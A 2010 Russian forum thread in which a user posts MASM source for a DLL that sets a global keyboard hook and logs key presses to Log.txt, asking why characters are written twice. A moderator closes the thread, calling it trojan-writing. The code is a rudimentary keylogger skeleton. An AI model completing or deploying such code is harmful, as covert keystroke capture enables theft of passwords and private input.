Сейчас на форуме: tyns777, zds, JustLife (+4 невидимых)

 eXeL@B —› Программирование —› Вопрос по хуку. В кратце: Почему дублируется перехваченное добро?
Посл.ответ Сообщение

Ранг: -2.0 (гость)
Активность: 0=0
Статус: Участник

Создано: 12 февраля 2010 14:52
· Личное сообщение · #1

Хук перехватывает нажатую клаву, потом идет в процесс обработки, там идет запись клавы в файл. Но в файл записывается два символа одной клавы. Вопрос: ПОЧЕМУЖЕ ТАААК????Что ток не делал.... Если все это добро проганяю через отладчик - то все нормально работает, когда работает самостоятельно - дублирует символы... Подскажите ПОЖАЛУЙСТА!!!!! Что не так???

Сорц DLL:
Code:
  1. .386
  2. .model flat,stdcall
  3. option casemap:none
  4. include \masm32\include\windows.inc
  5. include \masm32\include\user32.inc
  6. include \masm32\include\kernel32.inc
  7. includelib \masm32\lib\user32.lib
  8. includelib \masm32\lib\kernel32.lib
  9.  
  10. .data
  11. FName    db "Log.txt",0
  12.  
  13. HandleFile        DWORD ?
  14. DLLHandle      DWORD ?    ;Хендел длл
  15. hWnd                DWORD ? ; Хендел installHook
  16. HendleHook    DWORD ?
  17. cWritten       DWORD ?
  18. KeyGoFile      db "q",0
  19. .code
  20.    DllEntry proc hInst:HINSTANCE, reason:DWORD, reserved1:DWORD
  21.    push hInst
  22.    pop DLLHandle
  23.    call CreateF
  24.            mov  eax,TRUE
  25.            ret
  26.    DllEntry Endp  
  27. ;##################################################################### ############################################
  28.  ;###########====Запись в ФАЙЛ====================
  29.   WriteF proc 
  30.  invoke WriteFile, HandleFile , ADDR KeyGoFile,1, ADDR cWritten, NULL 
  31.    ret
  32.  WriteF endp
  33.  
  34.               ;==================Создание файла==============
  35.  CreateF proc 
  36.  invoke CreateFile, ADDR FName, GENERIC_WRITE,
  37.                                                FILE_SHARE_READ or FILE_SHARE_WRITE,
  38.                                                NULL,
  39.                                                OPEN_ALWAYS,
  40.                                                FILE_ATTRIBUTE_NORMAL,
  41.                                                0
  42.      push eax
  43.      pop HandleFile
  44.      ret
  45.  CreateF endp
  46.  
  47. ;=====================ОБРАБОТКА СООБЩЕНИЯ=====================
  48.          ObrMess proc nCode:DWORD, wParam:DWORD,lParam:DWORD
  49.                        mov eax, wParam                                        
  50.                                 .if eax==81
  51.                                    Call WriteF                                                               
  52.                                 .endif
  53.                          invoke CallNextHookEx, HendleHook, nCode,wParam,lParam
  54.                          ret
  55.          ObrMess endp
  56.     ;=================УСТАНОВКА ХУКА=======================
  57.    InstallHook proc hwnd:DWORD
  58.         push hwnd
  59.         pop hWnd 
  60.               invoke SetWindowsHookEx, WH_KEYBOARD, Addr ObrMess,DLLHandle, NULL  
  61.                    mov HendleHook, eax
  62.                  ret
  63.    InstallHook endp   
  64.  
  65. End DllEntry




Ранг: 159.1 (ветеран), 7thx
Активность: 0.130
Статус: Участник

Создано: 12 февраля 2010 15:59
· Личное сообщение · #2

Код не смотрел, но не может быть причина в том, что при нажатии клавиши винда генерит два сообщения - "UP" и "DOWN" ?



Ранг: -2.0 (гость)
Активность: 0=0
Статус: Участник

Создано: 12 февраля 2010 16:07
· Личное сообщение · #3

tempread
Не думаю, что два сообщения...((( так как проганял всю эту систему через отладчик и в файл идет одна буква. А когда все запускаю без отладчика, то в файл идет две буквы.
Еще есть мысли????????????????




Ранг: 2014.5 (!!!!), 1278thx
Активность: 1.340.25
Статус: Модератор
retired

Создано: 12 февраля 2010 16:17
· Личное сообщение · #4

Ты наивно полагал, что зарегав вторую погонялу, сможешь пропихнуть сюда свой вопрос, чтобы люди делали за тебя вместо того, чтобы разобраться самому? Ты ошибался. Сам коней своих пиши.


 eXeL@B —› Программирование —› Вопрос по хуку. В кратце: Почему дублируется перехваченное добро?
Эта тема закрыта. Ответы больше не принимаются.
   Для печати Для печати